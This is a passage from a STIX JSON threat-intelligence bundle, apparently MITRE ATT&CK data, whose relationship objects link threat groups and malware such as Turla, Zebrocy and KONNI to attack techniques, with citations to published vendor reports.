                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--2d0afb20-dfbd-4f6b-bd75-ee67d8eeb8c6",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.449Z",
            "created": "2019-01-30T15:33:07.907Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) can search through folders and files on the system.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--227abd66-91cc-436e-aad8-c1fb82691357",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.297Z",
            "created": "2019-01-30T15:47:41.421Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) lures victims into executing malicious macros embedded within Microsoft Excel documents.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--7571e0ac-281a-495b-bc7a-9cffd7dfc09f",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T13:28:28.463Z",
            "created": "2019-01-30T16:39:54.538Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to check running processes against a hard-coded list of security tools often used by malware researchers.(Citation: Securelist MuddyWater Oct 2018)",
            "id": "relationship--6bed87bb-2cb9-48a8-a23d-31ed8285c61f",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.764Z",
            "created": "2019-01-30T17:33:41.091Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) has used RDP for lateral movement.(Citation: McAfee Night Dragon)",
            "id": "relationship--1d37f088-123f-41bb-9367-a1696dbfe895",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2020-03-16T16:07:38.990Z",
            "created": "2019-01-30T17:48:35.714Z"
        },
        {
            "id": "relationship--00c88cab-5cb9-492a-8dce-8eab92213bc3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/",
                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
                    "source_name": "OilRig New Delivery Oct 2017"
                }
            ],
            "description": "(Citation: OilRig New Delivery Oct 2017)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.899Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method.(Citation: Securelist Sofacy Feb 2018)",
            "id": "relationship--4f550078-32b1-4abb-aa90-0e9fb7cc45f9",
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.713Z",
            "created": "2019-01-30T18:39:48.418Z"
        },
        {
            "id": "relationship--b25f5d90-f6cc-47e9-89f1-5527886bf536",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Data captured by [RawPOS](https://attack.mitre.org/software/S0169) is placed in a temporary file under a directory named \"memdump\".(Citation: Kroll RawPOS Jan 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware",
                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.",
                    "source_name": "Kroll RawPOS Jan 2017"
                }
            ],
            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:49:24.371Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro MacOS April 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder <code>/Library/LaunchDaemons</code>.(Citation: TrendMicro MacOS April 2018)",
            "id": "relationship--75a7d2f6-fa2c-499c-8e4f-f8d1d2735173",
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
            "type": "relationship",
            "modified": "2020-01-17T19:24:20.202Z",
            "created": "2019-01-30T19:18:20.170Z"
        },
        {
            "id": "relationship--e5d5ca1f-1e8e-4870-a9ef-33a963ee6148",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Volgmer](https://attack.mitre.org/software/S0180) variant is encoded using a simple XOR cipher.(Citation: US-CERT Volgmer 2 Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.066Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cybereason Oceanlotus May 2017",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) has a command to delete files from the victim\u2019s machine.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--0439c736-6a78-4e89-9c55-6cc565b1b11f",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.676Z",
            "created": "2019-01-30T20:01:45.509Z"
        },
        {
            "id": "relationship--4be87979-faf9-4a7a-998a-d1aa3fbf5a80",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.701Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) is capable of configuring itself as a service.(Citation: Emissary Trojan Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-16T15:50:20.111Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) can steal profiles (containing credential information) from Firefox, Chrome, and Opera.(Citation: Talos Konni May 2017)",
            "id": "relationship--29403801-cdba-4de9-9b9c-c1295b9eccf6",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.014Z",
            "created": "2019-01-31T00:36:41.043Z"
        },
        {
            "id": "relationship--bba2851c-7be2-4204-b737-77dda7d57a98",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.396Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--c9660ab0-33d4-434d-833f-cc1969b04f7a",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "(Citation: Cybereason Cobalt Kitty 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.961Z",
            "created": "2019-01-31T01:07:58.805Z"
        },
        {
            "id": "relationship--0ac55ad4-0f16-416e-bf88-67ee1aad85ab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
            "type": "relationship",
            "modified": "2020-01-31T18:59:38.492Z",
            "created": "2017-05-31T21:33:27.030Z"
        },
        {
            "id": "relationship--481c0cee-c977-430f-9f33-e5859b48be39",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s installer searches the Registry and system to see if specific antivirus tools are installed on the system.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.148Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7cf7d162-a34f-4951-a643-5bf959283f6b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can create directories to store plugin output and stage data for exfiltration.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                },
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-08-13T14:05:45.255Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2d822996-4574-402d-8d0f-1cfc0e963850",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) decrypts and extracts a copy of its main DLL payload when executing.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.994Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to download files from the C2 server.(Citation: Lotus Blossom Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lotus Blossom Dec 2015",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T15:50:20.119Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
            "relationship_type": "uses",
            "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "source_name": "Baumgartner Naikon 2015"
                }
            ],
            "description": "(Citation: Baumgartner Naikon 2015)",
            "type": "relationship",
            "modified": "2019-04-10T15:59:09.413Z",
            "created": "2017-05-31T21:33:27.055Z"
        },
        {
            "id": "relationship--e1a3f5df-963d-4211-931e-02ed9c567168",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                }
            ],
            "description": "(Citation: FireEye APT34 Webinar Dec 2017)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.901Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3325e625-d76b-42df-b952-749dabb57517",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover active local network connections using the <code>netstat -an</code>, <code>net use</code>, <code>net file</code>, and <code>net session</code> commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated the IPv4 TCP connection table via the <code>GetTcpTable2</code> API call.(Citation: ESET Turla PowerShell May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-06-29T02:52:31.770Z",
            "created": "2017-05-31T21:33:27.045Z"
        },
        {
            "id": "relationship--431ec495-5f92-40e9-9955-58ca334ea3c8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "(Citation: FireEye APT34 Dec 2017)",
            "type": "relationship",
            "modified": "2020-03-18T20:18:02.878Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--db46b437-c406-4c36-a0fe-bf1f2c32a6fe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) checks if the victim OS is 32 or 64-bit.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.465Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) downloads and executes additional PowerShell code and Windows binaries.(Citation: FireEye POSHSPY April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                }
            ],
            "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-24T23:41:40.097Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More",
                    "source_name": "Talos Zeus Panda Nov 2017"
                }
            ],
